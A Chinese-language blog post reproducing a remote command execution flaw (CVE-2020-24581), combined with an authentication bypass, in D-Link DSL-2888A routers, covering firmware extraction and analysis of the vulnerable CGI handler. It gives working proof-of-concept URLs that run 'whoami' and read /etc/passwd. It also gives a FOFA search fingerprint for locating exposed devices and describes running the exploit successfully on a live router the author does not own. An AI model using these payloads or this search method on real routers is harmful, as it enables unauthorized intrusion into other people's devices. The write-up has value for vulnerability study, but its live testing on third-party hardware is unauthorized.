CVE漏洞复现
D-Link DSL-2888A 远程命令执行漏洞分析
漏洞编号:CVE-2020-24581
漏洞描述:
D-Link DSL-2888A AU_2.31_V1.1.47ae55之前版本存在安全漏洞,该漏洞源于包含一个execute cmd.cgi特性(不能通过web用户界面访问),该特性允许经过身份验证的用户执行操作系统命令。
在该版本固件中同时存在着一个不安全认证漏洞(CVE-2020-24580),在登录界面输入任意密码就可以成功访问路由器界面。
通过组合这两个漏洞可以实现未授权的任意代码执行
复现所需要的固件下载链接:下载
第一次复现漏洞,这是路由器的官方页面

下载完固件后打开ubuntu用binwalk来提取文件
1 | binwalk -Me vuln.bin # 我这里是固件重命名了看着方便 |
解压之后可以看到是jffs2文件系统(日志闪存文件系统)


POC:
http://DeviceIP/cgi-bin/execute_cmd.cgi?timestamp = 1589333279490&cmd = whami
http://IP/cgi-bin/execute_cmd.cgi?timestamp=test&cmd=cat%20/etc/passwd
根据execute cmd.cgi文件漏洞特性定位到这里

我们可以查看一下内部的shell语句,变量 ${cmd} 的内容是直接从 **QUERY_STRING**(通常是 CGI/Web 请求的 URL 参数)中获取的,并且 未经任何充分的过滤或验证就被直接作为系统命令执行了。
1 |
|
既然需要网页才可以触发这个execute cmd.cgi文件的命令,那就需要了从什么位置传入的的指令,首先从**/etc/rc.d/rcS**找到dhttpd,这是一款轻量级的 HTTP 服务器。

然后我们找到/usr/sbin/dhttpd路径下的dhttpd文件,将其放入ida分析
搜索关键字符串cgi-bin交叉引用可以定位到关键函数sub_BEA0,
接着往下看可以发现函数调用了sub_BB5C函数,里面使用了execve函数来执行,下面的puts也进一步验证了cgi组件执行的地方就是在这里。因此登录设备之后,就可以执行任意的cgi-bin中的文件,对文件没有做任何限制。

从上面的分析得出可以直接在网页中构造恶意代码,我们没有现成的设备,但是可以使用fofa来复现
fofa指纹: body=”DSL-2888A” && server==”uhttpd”

这里可以看到输入错误密码后,会重定向到http://xxxx/login.html?error=fail这个路径

接着我们在输入POC :
1 | http://xxx/cgi-bin/execute_cmd.cgi?timestamp=1589333279490&cmd=whoami |
可以看到成功执行了指令

参考文章:CVE-2020-24581 D-Link DSL-2888A 远程命令执行漏洞分析-安全KER - 安全资讯平台
D-Link DSL-2888A 远程命令执行漏洞(CVE-2020-24581/24579)_cve-2020-24580-CSDN博客




